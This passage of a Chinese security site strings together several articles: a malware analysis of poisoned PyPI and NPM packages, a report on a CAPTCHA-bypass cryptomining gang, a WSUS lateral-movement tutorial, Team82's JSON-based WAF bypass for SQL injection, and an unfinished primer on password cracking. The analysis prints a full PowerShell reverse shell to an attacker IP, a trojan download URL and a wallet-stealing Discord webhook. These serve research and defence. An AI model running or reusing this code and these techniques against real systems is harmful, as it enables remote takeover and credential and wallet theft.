解碼後的實際PowerShell代碼如下所示：

Start-Process$PSHOME\powershell.exe-ArgumentList{$cc4b3e0706be478095235bdbc5479fde=New'-Obje'ctSystem.Net.Sockets.TCPClient('84.77.69.69',4 443);$4bdf71701e4e45a48bd66974a36d1fd8=$cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98=0.65535|%{0 };while(($i=$4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98,0,$b72dd70b9b5c4635b410c3eda039db98.Length))-ne0){;$ff 887d09535d46489582d67f05e7d60f=(Ne'w-Ob'ject-TypeNameSystem.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0,$i);$e9f33eef 377548fdb8e212aaecec6b47=(iex$ff887d09535d46489582d67f05e7d60f21|Out-String);$0e7cb537947a4905b36e36b8ef25f955=$e9f33eef377548fdb8e212aaece c6b47+'PS'+(p'w'd).Path+'';$986886c1059c495ebc37a28fa8735419=([text.encoding]:ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$ 4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66 974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()}-WindowStyleHidden惡意PowerShell代碼通過System.Net.Sockets.TCPClient接口將Windows系統cmd shell反彈到攻擊者控制的服務器端口84.77.69.69:4443上，從而達到對受害者係統進行遠程shell後門控制。

Part4遠控木馬在2月份捕獲的惡意樣本中有多起針對Python知名HTTP客戶端組件httpx、requests的投毒攻擊（包括requests-sessions、requests-http、request-get、tls-session等）。這些惡意樣本的攻擊方式主要發生在包管理器安裝或者惡意包加載時，惡意包中的惡意代碼會觸發執行並從攻擊者的託管服務器上下載惡意程序到受害者係統上執行木馬後門攻擊。

以惡意包tls-session為例，其安裝包內置了包含有惡意代碼的SSL/TLS 客戶端組件tls-client，tls-client在Pypi倉庫上的周下載量超過3萬。

图片

Python組件tls-client下載量統計

組件包tls-session通過克隆tls-client v1.0.1版本項目代碼，並在tls-client的__init__.py文件中植入base64編碼的惡意代碼。

图片

base64代碼解碼後得到真實的攻擊代碼：

图片

惡意代碼從CDN服務器上下載惡意木馬程序Built.exe保存到受害者係統上（SERPROFILE%\AppData\Local\explorer.exe），並偽裝成Windows系統進程explorer.exe執行。

https://cdn.discordapp.com/attachments/1204168698395627610/1205543621294817332/Built.exe 图片

Built.exe已被多款殺毒引擎判定為木馬

Part5數字錢包竊密NPM惡意包object-window-dtc主要目標是盜取Windows系統上Exodus數字錢包應用數據，其通過JS代碼混淆對惡意代碼進行保護逃避檢測，混淆代碼如下所示：

图片

去混淆後還原出核心惡意代碼：

image.png

image.png

代碼邏輯主要是遍歷Exodus 數字錢包應用目錄(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每個文件，並將每個文件內容通過HTTP POST方式外傳到投毒者Discord Webhook接口上。

https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3xPart6BladeroidStealer盜號2月28號，NPM開發者klewba32在官方倉庫上進行Sniper系列投毒，當天連續投放snipersee、sniperser、sniperv1、sniperv2等惡意包。這些惡意包採用相同的惡意代碼，主要目標是盜取開發者瀏覽器保存的登錄憑證、主流社交平台賬號session及用戶數據、瀏覽器數字錢包插件賬戶數據、系統中任何包含常見密碼口令關鍵字的敏感文件。

图片

Sniper系列投毒包的核心惡意代碼使用aes-256-cbc進行加密保護：

图片

代碼解密後可明顯發現代碼中存在多處涉及BladeroidStealer代號的相關內容。

图片

BladeroidStealer主要功能函數列表如下所示：

图片

以getCookiesAndSendWebhook()函數為例，其功能是從瀏覽器本地cookie文件中提取主流社區賬號（instagram、tiktok、reddit、spotify）的sessionid。

HireHackking

Automated Libra黑客組織通過CAPTCHA繞過技術自動賬號創建，進行加密貨幣挖礦。

近期，南非黑客組織'Automated Libra'通過CAPTCHA繞過技術實現自動賬號創建，在雲平台創建賬戶，利用免費的資源進行加密貨幣挖礦來獲利。

Automated Libra是位於南非的黑客組織，也是freejacking攻擊活動PurpleUrchin背後的黑客組織。 Freejacking 是使用免費云資源來執行加密貨幣挖礦活動的過程。 Unit 42 研究人員分析了Automated Libra的250GB數據，發現了黑客的基礎設施、歷史和使用的技術。黑客使用簡單的圖像分析技術繞過CAPTCHA圖像，實現雲平台自動化賬號創建，每分鐘可以成功創建3-5個GitHub賬戶。 Unit 42研究人員成功發現了黑客在PurpleUrchin攻擊活動中使用的40個加密貨幣錢包和7種不同的加密貨幣。

利用GitHub工作流進行加密貨幣挖礦Automated Libra在針對GitHub的攻擊活動中融合了Play and Run以及freejacking技術。此外，攻擊者還利用了GitHub CAPTCHA檢查的弱點。

攻擊者以平均每分鐘3-5個的速度自動創建GitHub賬號。創建GitHub賬號後，就開始了freejacking攻擊活動。

攻擊者在不同的VPS（virtual private server）提供商和雲服務提供商平台上創建了超過13萬個賬戶，但是並沒有付費。這些創建的賬戶使用的都是虛假的個人信息以及信用卡信息。這使得攻擊者可以在完成加密貨幣挖礦活動後並未完成付費。

自動化賬號創建創建GitHub賬戶的第一步是輸入郵件地址、密碼和用戶名，如圖1所示：

image.png圖1. GitHub表單完成

容器運行虛擬網絡計算（VNC）服務器：使用如下命令啟動Iron瀏覽器：

image.png

圖2. VNC服務器展示Iron瀏覽器

然後使用xdotool工具，該工具是完成GitHub表單的主要腳本。表單完成後，GitHub會提示CAPTCHA：

image.png

圖3. GitHub CAPTCHA

攻擊者使用了一個非常簡單的機制來解決CAPTCHA問題。從攻擊者創建的GitHub賬戶統計數據來看，攻擊者實現CAPTCHA繞過的方法非常有效。

利用CAPTCHA的弱點為繞過CAPTCHA需要識別圖片背景中的星系，攻擊者使用了ImageMagick工具套件中的2個工具：convert 和identify。

首先，使用convert工具將圖像轉化為RGB格式。

image.png

圖4將圖像轉化為RBG

轉化完成後，使用identify命令來提取red 通道的skewness 特徵：

image.png

圖5. 提取red 通道的skewness 特徵的命令

最終的結果如圖6所示，以從大到小的順序排序。值最小的圖像就是背景圖片，比如：

image.png

圖6. 每個圖片的red通道輸出

圖4中的image 2就是識別出的星系背景圖片。 CAPTCHA解決後，GitHub需要一個啟動碼，如圖7所示：

image.png

圖7. GitHub 請求啟動碼

攻擊者使用Gmail賬號來自動獲取啟動碼。這一過程使用了IMAP協議和PHP腳本來讀取收到的IMAP消息。

啟動碼輸入後，自動化過程就可以生成個人訪問token。 GitHub註冊過程的最終結果是一個用戶名和GitHub部署的個人訪問token。

image.png

圖8. 調用運行的容器

隨後，容器執行以下操作：

設置SSH 密鑰；

使用GitHub API創建GitHub庫；

配置創建的庫的權限。

此外，攻擊者還使用基於MD5哈希值的隨機名來對庫進行命名。

image.png

圖9. 對庫進行隨機命名的命令

GitHub庫創建完成後，攻擊者調用一個bash腳本來用目標工作流來更新庫。工作流是用PHP腳本生成的， PHP模板編碼的工作流示例如圖10所示：

image.png

圖10. PHP模板

研究人員發現其中的一個工作流中有64個任務。生成的工作流配置為github.event.client_payload.app事件下的repository_dispatch運行。工作流機制允許攻擊者執行外部應用。在本例，攻擊者運行外部bash腳本和容器，如圖11所示：

image.png

圖11. 執行外部應用的工作流機制

工作流運行的bash腳本是從外部域名訪問的。攻擊者運行的容器是用來安裝和初始化加密貨幣挖礦功能的，如圖12所示：

image.png

圖12. 加密貨幣挖礦容器

生成的工作流運行64個任務，每個任務都從5個可用的唯一配置中隨機選擇一個。

經過確認的攻擊者創建的GitHub賬戶數如下圖所示。

image.png

圖13. PurpleUrchin攻擊者創建的GitHub賬戶數

此外，攻擊者還在Heroku、Togglebox、GitHub等不同雲平台服務商創建了超過13萬用戶賬戶。

HireHackking

0x00 前言在內網滲透中，當我們獲得了WSUS服務器的控制權限後，可以通過推送補丁的方式進行橫向移動。這個利用方法最早公開在BlackHat USA 2015。本文將要整理這個利用方法的相關資料，結合思路，得出行為檢測的方法。

0x01 簡介本文將要介紹以下內容：

環境搭建

利用思路

實現工具

行為檢測

0x02 環境搭建本節介紹WSUS服務器搭建的過程，通過配置客戶端實現補丁的推送

參考資料：

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)

1.WSUS服務器搭建WSUS服務器需要安裝在Windows Server操作系統

(1)安裝

在添加角色和功能頁面，選擇Windows Server Update Services

需要指定補丁更新包的存放路徑，這裡可以設置為C:\WSUS

(2)配置

打開Windows Server Update Services進行配置

配置時選擇默認選項即可，在選擇Download update information from Microsoft Update時，點擊Start Connecting，如果報錯提示An HTTP error has occurred，經過我的多次測試，可以採用以下方法解決：

關閉當前頁面

進入Windows Server Update Services，選擇synchronization，點擊synchronization Now，等待同步完成，如下圖

1.png選擇Options，選擇WSUS Server Configuration Wizard，重新進入配置頁面，連接成功，如下圖

2.png配置完成後需要創建計算機組，如下圖

3.png

當同步完成後，會提示下載了多少個補丁，如下圖

4.png選擇Updates頁面，可以查看已下載的補丁，Unapproved表示未安裝的補丁，安裝後的補丁可以選擇Approved進行查看，如下圖

5.png選中一個補丁，點擊Approve.彈出的對話框可以針對指定計算機組安裝補丁，如下圖

6.png2.客戶端配置客戶端只要是Windows系統即可，需要通過組策略配置

依次選擇Computer Configuration-Administrative Templates-Windows Components-Windows Update，選擇Configure Automatic Updates，設置成Auto download and notify for install，選擇Specify intranet Microsoft update service location，設置更新服務器地址為http://192.168.1.182:8530

注：

需要指定端口8530

對於域環境，配置組策略後需要等待一段時間，這是因為組策略每90分鐘在後台更新一次，隨機偏移量為0-30分鐘，如果想立即生效，可以輸入命令：gpupdate /force

對於工作組環境，配置組策略可以立即生效

當客戶端開始補丁更新時，WSUS服務器會獲得客戶端的信息，並顯示在Computers頁面

組策略配置的操作等同於創建註冊表，具體信息如下：

(1)組策略配置自動更新後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

查詢命令：REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU'

返回結果示例：

7.png其中AUOptions對應組策略配置中的Configure automatic updating，2代表Notify for download and notify for install，3代表Auto download and notify for install，4代表Auto download and schedule the install，5代表Allow local admin to choose setting

(2)組策略配置服務器地址後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

查詢命令：REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate'

返回結果示例：

8.png3.推送補丁在WSUS服務器的Windows Server Update Services頁面，選擇指定補丁，右鍵點擊Approve.在彈出的對話框中選擇計算機組即可

等待客戶端到達補丁更新時間，即可完成補丁的推送

0x03 利用思路如果我們能夠生成一個帶有Payload的補丁，就能夠通過補丁進行橫向移動，但是在利用上需要注意補丁文件的簽名問題：Windows的補丁文件需要帶有微軟的簽名

通常的利用方法是使用帶有微軟簽名的程序，例如psexec，通過psexec執行命令或者添加一個管理員用戶

0x04 實現工具開源的工具有以下三個：

https://github.com/nettitude/SharpWSUS

https://github.com/AlsidOfficial/WSUSpendu

https://github.com/ThunderGunExpress/Thunder_Woosus

以上三個工具的實現原理基本相同，都是創建一個調用psexec執行命令的補丁，將補丁推送至指定計算機，等待目標計算機更新補丁

創建補丁的操作需要連接SQL數據庫，依次實現以下操作：

ImportUpdate

PrepareXMLtoClient

InjectURL2Download

DeploymentRevision

PrepareBundle

PrepareXMLBundletoClient

DeploymentRevision

1.創建補丁SharpWSUS在創建補丁時需要注意轉義字符，命令示例：

9.png這條命令將會在Updates的Security Updates頁面下創建WSUSDemo，如下圖

10.png2.補丁部署將補丁部署到指定計算機組，命令示例：

11.png這條命令會創建計算機組Demo Group，並且把win-iruj9k30gr7移動到該組下面，如下圖

12.png接下來需要等待客戶端安裝這個補丁

3.查看補丁狀態查看補丁是否被安裝，命令示例：

13.png補丁未安裝的輸出如下：

14.png還有一種查看方法是查看計算機的補丁更新時間，示例命令：SharpWSUS.exe inspect

輸出示例：

15.png為了便於測試，可以強制客戶端更新補丁，看到新的補丁信息，如下圖

16.png4.清除補丁信息命令示例：

17.png這條命令會刪除補丁，刪除添加的計算機組

在整個補丁更新過程中，WSUS服務器會將psexec.exe保存在WSUS服務器本地C:\wsus\wuagent.exe和C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe，需要手動清除

在測試WSUSpendu時，為了便於分析細節，可以修改以下代碼：

18.png命令行執行：powershell -ep bypass -f WSUSpendu.ps1 -Verbose，將會輸出完整的信息

0x05 行為檢測客戶端的補丁歷史更新記錄會保存所有的補丁安裝信息：

如下圖

19.png

但是，攻擊者如果獲得了系統的管理員控制權限，可以通過命令行卸載補丁的方式清除歷史更新記錄，命令行卸載補丁的命令示例：

查看更新：wmic qfe list brief/format:table

卸載指定更新：wusa /uninstall /kb:976902 /quiet /norestart

0x06 小結本文介紹了通過WSUS進行橫向移動的方法和實現工具，結合利用思路，給出行為檢測的建議。

參考資料：

https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf

https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/

https://labs.nettitude.com/blog/introducing-sharpwsus/

HireHackking

JSON 語法自2012 年開始作為新特性被各類SQL 數據庫支持，目前所有主流數據庫都已支持JSON 語法，但目前的主流WAF並沒有做相應跟進，從而可以被繞過。

Team82開發了一種通用的繞過行業領先的web應用程序防火牆(WAF)的方法。 攻擊技術包括將JSON語法附加到WAF無法解析的SQL注入有效負載。

主要的WAF供應商在他們的產品中缺乏JSON支持，儘管大多數數據庫引擎已經支持了十年。 大多數WAF可以很容易地檢測到SQLi攻擊，但是將JSON前置SQL語法使WAF無法檢測到這些攻擊。

使用這種技術的攻擊者將能夠繞過WAF的保護，並使用其他漏洞來竊取數據。

簡介Web應用防火牆(WAF)旨在保護基於Web的應用程序和API免受惡意外部HTTPs流量的影響，尤其是跨站腳本和SQL注入攻擊，這些攻擊危險似乎還未解除。

WAF的引入在很大程度上是為了應對這些編碼錯誤。 WAF現在是保護存儲在數據庫中的組織信息的關鍵防線，這些信息可以通過web應用程序訪問。 WAF也越來越多地用於保護基於雲的管理平台，這些管理平台監督連接的嵌入式設備，如路由器和接入點。

能夠繞過WAF的流量掃描和攔截功能的攻擊者通常可以直接訪問敏感的業務和客戶信息。值得慶幸的是，這樣的繞過並不常見，而且針對特定供應商的實現是一次性的。

目前，Team82引入了一種攻擊技術，它是業界領先供應商銷售的多個web應用程序防火牆的第一個通用繞過。該繞過適用於五個主要供應商銷售的WAF: Palo Alto, F5, Amazon Web Services, Cloudflare和Imperva。目前，所有受影響的供應商都承認Team82的披露，並實施了修復，將JSON語法支持添加到其產品的SQL檢查過程中。

Team82的技術首先依賴於理解WAF如何識別和標記惡意SQL語法，然後找到WAF看不到的SQL語法。這是JSON。 JSON是一種標準的文件和數據交換格式，通常用於將數據從服務器發送到web應用程序。

在SQL數據庫中引入JSON支持可以追溯到大約10年前。現在的數據庫引擎默認支持JSON語法、基本搜索和修改，以及一系列JSON函數和操作符。雖然JSON支持是數據庫引擎的標準，但WAF卻並非如此。供應商在添加JSON支持方面一直進展緩慢，這使得Team82能夠創建新的SQL注入有效負載，其中包括繞過WAF提供的安全性的JSON。

使用這種新技術的攻擊者可以訪問後端數據庫，並使用額外的漏洞，通過直接訪問服務器或通過雲竊取信息。

這對於已經轉向基於雲的管理和監控系統的運行和物聯網平台尤為重要。 WAF提供了來自云的額外安全性的承諾，能夠繞過這些保護的攻擊者可以廣泛地訪問系統。

Team82在去年開發了這項技術，當時他們正在對Cambium Networks的無線設備管理平台進行不相關的研究，包括其內部或云端銷售的cnMaestro無線網絡管理器。

1.png

Cambium Networks無線接入點

2.png

Cambium的cnMaestro雲架構允許用戶從雲端遠程配置和控制他們的AP Wi-Fi設備

為了了解平台是如何構建的，以及它的許多內部API和路由，Team82從Cambium的網站下載了cnMaestro內部部署的開放虛擬化格式虛擬機。

Team82了解到cnMaestro是由許多不同的NodeJS後端服務構建的，這些服務處理用戶對特定路由的請求。這些服務都有輕微的混淆，使得研究平台變得困難。為了將每個請求代理到正確的服務，Nginx被用來通過所請求的URL來傳遞請求。

cnMaestro提供了兩種不同的部署類型:

本地部署：創建一個由用戶託管和管理的專用cnMaestro服務器。

雲部署：位於Cambium Networks雲基礎設施上的cnMaestro服務器，cnMaestro的所有此類實例都以多租戶架構託管在Cambium組織下的Amazon AWS雲上。

雲部署託管在亞馬遜AWS上的cnMaestro雲部署包括一個cnMaestro的主要實例(託管在https://cloud.cambiumnetworks.com上)，它處理登錄、設備部署，並將大部分平台數據保存在主數據庫中。

任何註冊到cnMaestro Cloud應用程序的用戶都會獲得一個個人Amazon AWS實例，其中包含個人URL (Cambium主雲的子域)和組織標識符。這有助於在多租戶設計中分離不同的用戶。為了訪問你的cnMaestro實例，將按照以下方案生成一個唯一的URL：https://us-e1-sXX-XXXXXXXXXX.cloud.cambiumnetworks.com

在Team82對Cambium cnMaestro的研究結束時，他們發現了7個不同的漏洞，可以在這里和Team82的披露儀表板上看到。然而，一個特別的漏洞讓Team82陷入了一個巨大的兔子洞，導致Team82發現並開發了這項新技術。

很難利用的零日漏洞Team82發現的一個特殊的Cambium漏洞被證明更難利用：CVE-2022-1361。該漏洞的核心是一個簡單的SQL注入漏洞，但實際的開發過程需要Team82跳出思維定式，創建一個全新的SQL技術。利用這個漏洞，Team82能夠竊取用戶的會話、SSH密鑰、密碼哈希、令牌和驗證碼。

此漏洞的核心問題是，在這種特殊情況下，開發人員沒有使用準備好的語句將用戶提供的數據附加到查詢中。他們沒有使用將用戶參數附加到SQL查詢並清除輸入的安全方法，而是直接將其附加到查詢中。

3.png

Team82在CVE-2022-1361中濫用的SQL注入匯點

正如我們在上面的匯點中看到的，應用程序接受用戶提供的數據（在本例中為a.serialNo或a.mac），並將其附加到SQL查詢中。我們使用此漏洞的目的是過濾存儲在數據庫中的敏感數據。然而，雖然這看起來很簡單，但在快速分析了該漏洞後，我們意識到它有三個關鍵漏洞/限制：

Team82只能檢索作為返回行的整數；

返回的行按隨機順序返回；

在每個請求中，Team82只能返回有限數量的行。

讓我們深入分析這些限制。

限制1：Team82只能檢索整數第一個限制只返回整數，而不返回字符串。由於原始請求返回整數，我們將使用的任何联合語句也必須返回整數。在SQL中，如果執行聯合操作，則必須確保兩列的類型相同，並且由於一方獲取整數，因此我們也必須返回整數。由於我們要過濾的數據很可能是字符串（會話令牌、SSH密鑰等），因此我們必須以某種方式獲得過濾字符串的能力。

通過將想要過濾的任何字符串轉換為整數數組，並將每個字符作為單獨的行返回，可以輕鬆克服這一限制。為此，Team82使用了stringarray和ASCIISQL函數。

4.1.png

4.2.png

一個SQL查詢，返回字符串作為其字符的整數列表

限制2：返回的行按隨機順序返回第二個限制是，當Team82返回多行時，web服務器將以隨機順序返回給Team82。當Team82查看漏洞後執行的代碼時，Team82看到對於SQL查詢返回的每一行，服務器將執行一些其他異步操作(這可以通過調用async.parale函數看到)。這意味著返回行的原始順序將不會被保留，相反，該順序將是異步操作完成的順序。

這意味著，如果Team82將字符串作為整數數組進行過濾，就會丟失字符順序，從而使過濾變得無關緊要。

Team82通過添加行索引來克服這一限制，行索引使用row_number SQL函數將字符串中字符的索引轉換為返回的整數。因為Team82只返回ASCII字符，所以每個字符的值被限制為128。通過將索引號乘以1000 (i * 1000)並將其附加到結果中，Team82總是可以通過簡單的除法和模塊操作來確定字符索引。

5.1.png

5.2.png

一個SQL有效負載，返回字符串中每個字母的ascii值，加上字符的索引乘以1000

在檢索到過濾的數據之後，Team82可以簡單地將每個返回行除以1000，以了解字符索引。 Team82還可以通過對返回值使用模塊操作來恢復原始字符ASCII值。

限制3：在每個請求中只能返回有限數量的行最後一個限制是最難克服的：超時問題。對於返回的每一行，服務器都執行了一些其他操作，包括另一個SQL查詢和數據操作。當我們試圖檢索大量行時，請求超時。更糟糕的是，API端點相當慢，因此每次檢索一行非常耗時。

Team82的解決方案實際上非常高級，Team82不是為每個字符返回一行，而是從許多行中構造一個整數。這是可能的，因為整數和字符之間的字節大小不同。在PostgreSQL中，一個整數是4字節長，而Team82試圖過濾的字符是1字節長(只要是ascii字符)。這意味著通過執行簡單的字節操作，Team82可以在每個整數中容納四個不同的字符。此外，如果Team82在union命令中將整數轉換為BIGINT，這在PostgreSQL中是可能做到的，Team82可以將每行擴展為8字節。

6.png

PostgreSQL類型大小

這意味著，如果要為Team82過濾的每個字符附加8個字節，並將其附加到BIGINT中，Team82可以在每個請求中過濾7倍多的字符(1個字節保留給字符索引)。

7.1.png

7.2.png

一個SQL查詢，它接受一個字符串，並每隔幾個字符創建一個BIGINT

使用這種方法，Team82能夠在每個請求中提取多達8倍的數據。這減少了Team82竊取大量數據所需的時間，並使攻擊場景變得可信。

構建有效負載在Team82繞過所有三個限制之後，Team82就得到了一個大的有效負載，允許提取任何Team82選擇的數據:

8.png

事實上，當Team82使用這個有效負載時，Team82設法竊取了存儲在數據庫中的敏感信息，從會話cookie到令牌，SSH密鑰和哈希密碼。

9.png

使用SQLi有效負載提取的數據示例

雲端漏洞在成功利用了雲部署漏洞後，下一步是在Cambium的雲端嘗試相同的漏洞。很快，Team82就找到了相應的雲路由，並成功確認它也容易受到同樣的漏洞的攻擊。然後Team82嘗試了一個安全版本的有效負載，並收到了這樣的響應。

10.png

對SQL注入漏洞的響應，可以看到Team82的請求被釋放了，返回一個403 Forbidden

接下來，我們注意到了包含awselb/2.0的HTTP服務器，這意味著，應用程序並沒有停止Team82的請求，而是AWS WAF釋放了Team82的請求，因為它可能將其標記為惡意請求。

對AWS WAF的研究為了研究AWS WAF，我們首先創建了自己的設置，在其中控制所有的活動部件：應用程序、客戶端和WAF設置和日誌。我們在AWS雲上創建了一個簡單的設備，並設置了AWS WAF來保護應用程序免受惡意請求(Team82設置了WAF)。

11.png

用於配置WAF規則集的界面

然後，Team82創建了一個帶有SQLi漏洞的web應用程序，並將其託管在AWS上。

12.png

Team82創建的易受攻擊的Flask web應用程序

最後，Team82開始發送數百個自定義的請求，試圖分析WAF是如何將請求標記為惡意的。

13.png

被WAF標記為惡意的請求被阻止，在這個請求中，Team82傳遞一個通用的SQLi有效負載，它由WAF標記

WAF通常有兩種方法將請求標記為惡意：

搜索黑名單單詞：WAF可以搜索它並將其識別為SQL語法的單詞，如果請求中存在太多匹配項，它會將該請求標記為惡意SQLi嘗試。

從請求中解析SQL語法：WAF可以嘗試使用請求的不同部分解析有效的SQL語法，如果WAF成功識別SQL語法，它將標記該請求為惡意SQLi嘗試。

雖然大多數WAF除了使用WAF特有的方法外，還會使用這兩種方法的組合，但它們都有一個共同的漏洞：它們需要WAF識別SQL語法。這引發了Team82的興趣：如果Team82能夠找到WAF無法識別的SQL語法，該怎麼辦？

SQL JSON目前，JSON已經成為數據存儲和傳輸的主要形式之一。為了支持JSON語法，並允許開發人員以類似於在其他應用程序中與數據交互的方式與數據交互，SQL中需要JSON支持。

目前，所有主要的關係數據庫引擎都支持原生JSON語法，這包括MSSQL, PostgreSQL, SQLite和MySQL。此外，在最新版本中，所有數據庫引擎默認啟用JSON語法，這意味著它在今天的大多數數據庫設置中很普遍。

開發人員選擇在SQL數據庫中使用JSON特性，原因有很多，首先是更好的性能和效率。由於許多後端已經使用JSON數據，因此在SQL引擎本身執行所有數據操作和轉換可以減少所需的數據庫調用數量。此外，如果數據庫可以使用JSON數據格式(後端API很可能也會使用JSON數據格式)，那麼所需的數據預處理和後處理就會更少，從而允許應用程序立即使用它。

通過在SQL中使用JSON，應用程序可以在SQL API中獲取數據、從數據庫中組合多個數據源、執行數據修改並將其轉換為JSON格式。然後，應用程序可以接收json格式的數據並立即使用它，而不需要處理數據。

14.png

在SQL中使用JSON的數據流，允許開發人員在SQL中使用JSON API更好地與數據交互

雖然每個數據庫都選擇了不同的實現和JSON解析器，但每個數據庫都支持不同範圍的JSON函數和操作符。此外，它們都支持JSON數據類型和基本的JSON搜索和修改。

15.png

對每個主要數據庫的JSON支持級別

然而，儘管所有的數據庫引擎都增加了對JSON的支持，但並不是所有的安全工具都增加了對這個“新”特性的支持。安全工具中缺乏支持可能會導致安全工具(在Team82的例子中是WAF)和實際數據庫引擎之間的原語解析不匹配，並導致SQL語法錯誤識別。

The New ‘ or ‘a’=’a

使用JSON語法，可以創建新的SQLi有效負載。由於這些有效負載不為人所知，它們可以繞過許多安全工具。使用來自不同數據庫引擎的語法，Team82能夠在SQL中編譯以下真實語句列表:

16.png

使用JSON語法

從Team82對WAF如何將請求標記為惡意的理解中，可以得出結論，Team82需要找到WAF無法理解的SQL語法。如果Team82可以提供一個SQLi有效負載，WAF不會將其識別為有效SQL，但數據庫引擎會解析它，Team82實際上就可以實現繞過。

事實證明，JSON正是WAF解析器和數據庫引擎之間的這種不匹配。當Team82傳遞使用不太流行的JSON語法的有效SQL語句時，WAF實際上並沒有將請求標記為惡意請求。

17.png

下面是一個惡意的SQLi有效負載，包含JSON語法。正如Team82所看到的，WAF並沒有將該請求標記為惡意請求，也沒有釋放它

這個簡單的JSON運算符，在本例中是@，它檢查右邊的JSON是否包含在上面左邊的JSON中，它將WAF放入一個循環中，並允許Team82提供惡意的SQLi有效負載，從而允許Team82繞過WAF。通過簡單地在請求的開頭預先添加簡單的JSON語法，Team82就能夠在雲上使用SQLi漏洞竊取敏感信息!

18.png

利用雲上的SQL注入漏洞

常見的WAF繞過上述繞過的核心問題是數據庫引擎和SQLi檢測解決方案之間缺乏一致性，這是因為SQL中的JSON並不是一個流行和廣為人知的特性，而且它的語法沒有添加到WAF解析器中。

然而，Team82認為這個問題可能不僅僅與這個WAF供應商有關，可能其他供應商也沒有添加對JSON語法的支持。所以Team82採用了易受攻擊的web應用程序，並在大多數主要WAF供應商上創建了一個設置。幾天后，Team82發現JSON語法可以繞過他們檢查過的大多數供應商:

Palo-Alto下一代防火牆

F5 Big-IP

Amazon AWS ELB

Cloudflare

Imperva

19.png

Team82使用JSON語法繞過的WAF供應商和產品列表

Team82成功地繞過了這麼多大型WAF產品，如果Team82的有效負載有任何變化，這意味著Team82有一個通用的WAF繞過。這意味著即使不知道Team82和目標之間的WAF是什麼，Team82仍然可以利用SQL注入漏洞，繞過WAF的保護。

自動化流程為了研究這種WAF繞過的危害有多大，Team82決定在最大的開源開

HireHackking

惡意行為者通常以用戶和管理員憑據為目標，因為他們希望使用它們來訪問敏感數據。據Verizon 稱，在2021 年受到社會工程攻擊的數據中，憑證佔高達85%。為了竊取用戶憑證，黑客可以使用惡意軟件或各種密碼破解方法。

薄弱的密碼策略和缺乏防止密碼破解的保護是導致帳戶洩露的兩個最常見的漏洞。

在本文中，我們討論了密碼破解的危險並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問，並提供有關如何配置Fail2ban 的分步指南，以及分享我們在Viber 聊天機器人中配置Fail2ban 通知的經驗。

本文將幫助Web 產品所有者和軟件開發團隊識別並消除其Linux 服務器的漏洞。

什麼是密碼破解？要訪問Web 應用程序，用戶需要在系統內創建配置文件。為此，用戶通常會創建一個登錄名和密碼作為用於保護帳戶訪問的憑據。根據申請類型，他們可能還必須提供其他數據，如個人信息、消息和銀行賬戶。所有這些數據對威脅行為者都很有價值，他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。

在開發Web 應用程序時，必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則，如果攻擊者設法訪問用戶帳戶並暴露個人信息，Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭，他們也可能承擔經濟損失。

image.png

密碼破解的後果

竊取用戶數據的一種方法是破解密碼。

這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身不一定是惡意的，它可以作為一種目標漏洞驗證技術用於安全測試。

密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行，以識別密碼較弱的帳戶。

在應用密碼破解技術時，黑客通常會使用特殊的應用程序和工具，這些應用程序和工具會應用多個憑據變體，直到找到正確的一對。密碼破解應用程序用於猜測密碼的每秒憑據數取決於攻擊者計算機的性能。此外，猜測用戶密碼所需的時間取決於密碼強度。

密碼破解方法有多種：image.png

密碼破解攻擊的類型

字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解詞典，其中存儲了常用的密碼和熟悉的單詞，例如不同語言的名稱和地點。此類詞典還可能包括黑客收集和添加的先前被盜的用戶憑證。字典攻擊是一種快速猜測弱口令的方法，但對於不常見的強口令，它們通常不會成功。

蠻力攻擊是一種直接的試錯法，它著重於生成所有可能的密碼，達到一定長度。黑客檢查所有密碼組合，包括所有字母、數字和特殊符號的組合，從可能的最小密碼長度開始。可能組合的數量取決於密碼的長度。理論上，這種破解方法的成功率是100%。這只是時間問題，因為短密碼可以在幾分鐘內猜出，而非常長且複雜的密碼可能需要數十年才能破解。

彩虹襲擊。大多數應用程序使用哈希加密用戶密碼，並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希值的彩虹表來破解數據庫中的密碼哈希值。

網絡釣魚。通過網絡釣魚，攻擊者誘使用戶單擊電子郵件附件或URL 鏈接，引導他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。

反向蠻力。惡意行為者使用針對多個用戶名的通用密碼來訪問帳戶。

